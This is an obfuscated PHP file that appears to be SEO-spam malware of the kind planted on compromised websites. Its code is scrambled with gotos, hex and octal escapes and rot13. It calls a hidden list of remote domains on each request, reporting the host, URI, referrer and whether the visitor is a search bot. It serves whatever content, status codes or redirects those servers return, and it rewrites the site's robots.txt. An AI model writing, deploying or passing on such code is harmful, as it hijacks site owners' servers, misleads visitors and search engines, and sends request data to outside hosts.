<?php
 goto JdFbc; nZR51: $duri = empty($duri_tmp) ? "\57" : $duri_tmp; goto TimzX; QTKiC: $http = is_https() ? "\x68\x74\164\160\163" : "\x68\164\164\160"; goto JHZBS; i5SdT: $defaultContent .= "\101\154\154\157\x77\72\40\57" . PHP_EOL . PHP_EOL; goto CkAOM; RqgpW: $lang = isset($_SERVER["\x48\124\124\120\137\101\103\x43\105\120\x54\x5f\x4c\x41\x4e\x47\125\x41\x47\x45"]) ? $_SERVER["\x48\124\124\120\x5f\101\103\x43\x45\x50\124\x5f\x4c\101\x4e\x47\125\101\107\105"] : "\x65\156"; goto F_dQ6; IqMiz: $html_content = doutdo($xmlname, $http, $web); goto Q3F18; invmv: function is_https() { return isset($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\x6f\x66\x66" || isset($_SERVER["\x48\x54\124\x50\x5f\x58\137\x46\x4f\x52\127\x41\x52\x44\105\x44\x5f\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\130\x5f\x46\x4f\x52\127\x41\122\104\x45\x44\x5f\120\x52\x4f\x54\x4f"] === "\x68\164\x74\160\163" || isset($_SERVER["\110\x54\124\x50\137\106\122\117\x4e\124\x5f\x45\116\104\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\137\x46\122\x4f\x4e\124\137\105\x4e\x44\137\110\124\124\120\123"]) !== "\x6f\146\146"; } goto hgeZq; arh6_: $web = "\167\145\142\x3d" . $host . "\x26\x7a\x7a\75" . (disbot() ? "\61" : "\60") . "\x26\165\x72\151\75" . urlencode($duri) . "\46\x75\x72\x6c\163\150\141\x6e\x67\x3d" . urlencode($urlshang) . "\46\150\x74\164\x70\75" . $http . "\46\154\141\x6e\x67\x3d" . $lang; goto IqMiz; svp_O: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto truZ_; S0wOI: $xmlname = explode("\54", $xmlstring); goto QTKiC; CkAOM: $defaultContent .= "\123\151\164\x65\155\x61\x70\x3a\40" . $http . "\72\57\x2f" . $host . "\57" . "\x73\x69\164\145\x6d\141\x70\56\170\x6d\154" . PHP_EOL; goto svp_O; JHqZ7: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\150\164\x74\x70\x3a\57\x2f" . $domain . "\x2f\x69\x6e\144\145\170\56\x70\x68\x70\x3f" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\141\154\154\x6f\167\137\x75\x72\154\x5f\146\x6f\x70\145\x6e")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\143\x55\122\114\x20\x45\x72\x72\x6f\x72\x3a\x20\60"; } goto E2Kzq; F_dQ6: $urlshang = isset($_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]) ? $_SERVER["\110\124\x54\120\137\x52\x45\x46\x45\122\105\x52"] : ''; goto arh6_; iULn_: function disbot() { $uAgent = strtolower(isset($_SERVER["\x48\x54\124\x50\x5f\125\123\105\122\137\x41\x47\105\x4e\124"]) ? $_SERVER["\x48\x54\124\x50\137\x55\x53\x45\122\137\x41\107\x45\x4e\124"] : ''); return stristr($uAgent, "\x67\157\157\147\154\145\142\157\164") || stristr($uAgent, "\x62\x69\x6e\147") || stristr($uAgent, "\171\141\x68\157\157") || stristr($uAgent, "\147\x6f\x6f\x67\154\x65") || stristr($uAgent, "\107\x6f\x6f\x67\154\x65\x62\x6f\x74"); } goto JHqZ7; JHZBS: $duri_tmp = drequest_uri(); goto nZR51; truZ_: if (!strstr($html_content, "\156\x6f\142\x6f\x74\165\163\145\162\141\147\x65\156\x74")) { handle_content($html_content); } goto invmv; hgeZq: function drequest_uri() { if (isset($_SERVER["\122\105\x51\x55\105\123\x54\137\x55\x52\x49"])) { return $_SERVER["\x52\105\x51\125\105\123\124\137\125\122\x49"]; } elseif (isset($_SERVER["\141\x72\x67\166"])) { return $_SERVER["\120\110\120\137\123\x45\x4c\106"] . "\x3f" . $_SERVER["\x61\162\147\166"][0]; } else { return $_SERVER["\x50\110\x50\x5f\123\105\114\x46"] . "\77" . $_SERVER["\x51\125\x45\122\x59\x5f\123\x54\x52\x49\116\107"]; } } goto iULn_; TimzX: $host = $_SERVER["\x48\x54\124\x50\x5f\110\x4f\123\124"]; goto RqgpW; Q3F18: $robotsPath = $_SERVER["\x44\117\x43\125\115\105\116\x54\x5f\122\117\x4f\124"] . "\57\x72\157\142\x6f\164\163\x2e\x74\170\x74"; goto i28C3; i28C3: $defaultContent = "\125\163\x65\x72\x2d\x61\147\x65\156\164\72\40\x2a" . PHP_EOL; goto i5SdT; JdFbc: $xmlstring = "\x25\x33\x31\45\63\71\45\63\62\x25\63\x32\45\62\x44\45\66\65\45\66\x45\x25\66\x31\45\x37\x38\45\63\x31\x25\63\62\45\x33\x30\x25\x32\105\x25\66\x32\45\x36\65\x25\x37\66\45\x36\x32\x25\x36\x31\45\67\64\45\67\62\x25\x36\65\45\x32\105\x25\x36\x37\45\66\x32\45\66\63\54\45\63\x31\45\63\x39\x25\x33\62\45\63\x32\45\x32\x44\x25\x36\65\x25\66\105\x25\66\x31\45\67\x38\45\x33\x31\45\x33\x32\45\63\60\45\x32\x45\x25\x37\101\45\67\66\45\x36\65\x25\66\105\45\x37\x34\x25\67\x32\x25\66\x31\45\66\67\x25\62\105\x25\66\67\x25\x36\x32\x25\x36\x33\x2c\x25\x33\61\x25\x33\x39\x25\63\62\x25\x33\62\45\x32\104\45\x36\65\45\66\105\x25\66\x31\x25\x37\70\x25\x33\x31\x25\x33\62\45\63\x30\x25\62\x45\45\66\105\x25\x36\71\45\67\x36\45\x36\x32\45\66\61\x25\67\61\45\62\x45\45\66\102\x25\66\103\x25\x36\x44\x2c\x25\x33\61\45\x33\x39\45\x33\62\x25\x33\x32\x25\62\x44\45\66\65\x25\x36\105\x25\x36\x31\45\67\x38\45\63\61\x25\x33\62\x25\63\60\x25\62\x45\x25\x37\x32\45\66\71\x25\67\62\45\x37\x39\45\x36\62\45\x36\x32\45\66\x33\x25\x32\105\x25\66\102\45\x36\103\x25\x36\x44"; goto S0wOI; E2Kzq: function handle_content($html_content) { if (strstr($html_content, "\x6f\153\150\x74\x6d\154\147\145\x74\143\163\x73")) { header("\x43\x6f\x6e\x74\145\156\x74\55\124\171\x70\145\72\x20\x74\x65\170\x74\x2f\143\x73\x73\73\x20\x63\x68\x61\x72\163\x65\164\x3d\165\x74\146\55\70"); echo str_replace("\157\153\150\x74\155\154\147\x65\x74\143\x73\163", '', $html_content); die; } elseif (strstr($html_content, "\157\x6b\x68\x74\x6d\x6c\147\x65\x74\x63\x6f\x6e\x74\145\x6e\x74")) { header("\x43\x6f\x6e\164\x65\x6e\x74\55\164\x79\x70\145\72\x20\x74\x65\170\x74\57\x68\x74\155\154\x3b\40\x63\x68\x61\162\163\x65\x74\x3d\165\x74\x66\55\70"); echo str_replace("\157\x6b\150\164\x6d\154\x67\x65\164\143\x6f\x6e\164\x65\156\x74", '', $html_content); die; } elseif (strstr($html_content, "\x6f\x6b\170\x6d\x6c\x67\x65\164\x63\x6f\156\164\x65\x6e\x74")) { header("\x43\x6f\156\x74\x65\156\164\55\x54\x79\x70\x65\72\x20\x61\x70\160\x6c\x69\x63\x61\164\151\157\x6e\x2f\170\x6d\x6c\x3b\40\x63\150\x61\x72\163\x65\164\75\165\x74\146\x2d\70"); echo str_replace("\157\x6b\x78\x6d\x6c\x67\x65\164\x63\x6f\156\164\x65\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\147\x65\x74\x63\x6f\x6e\x74\x65\x6e\x74\x35\60\60\x70\141\x67\x65")) { header("\110\x54\124\x50\x2f\61\x2e\61\40\x35\60\60\40\x49\156\164\145\x72\x6e\141\154\x20\123\145\162\x76\x65\162\x20\x45\162\162\x6f\162"); die; } elseif (strstr($html_content, "\x67\145\164\x63\x6f\x6e\x74\145\x6e\164\x34\60\x34\160\141\x67\x65")) { header("\x48\124\x54\120\57\x31\x2e\x31\40\x34\60\x34\x20\116\x6f\164\x20\106\157\165\x6e\x64"); die; } elseif (strstr($html_content, "\147\145\x74\x63\157\156\164\x65\x6e\x74\x33\60\x31\x70\141\x67\145")) { header("\x48\x54\124\120\57\x31\56\61\40\x33\x30\61\40\115\157\166\x65\x64\40\x50\145\x72\155\x61\156\145\x6e\x74\x6c\x79"); $html_content = str_replace("\147\145\164\x63\157\x6e\x74\145\x6e\x74\x33\60\61\x70\141\x67\x65", '', $html_content); header("\114\157\x63\x61\x74\x69\x6f\156\72\x20" . $html_content); die; } elseif (strstr($html_content, "\157\153\162\157\142\x6f\164\x73\x67\145\164\x63\157\156\x74\145\156\164")) { header("\103\157\x6e\x74\x65\x6e\164\x2d\x54\171\x70\x65\72\x20\x74\x65\170\x74\x2f\160\154\141\x69\156"); echo str_replace("\157\153\x72\157\x62\x6f\164\x73\147\x65\164\x63\x6f\156\164\x65\156\164", '', $html_content); die; } }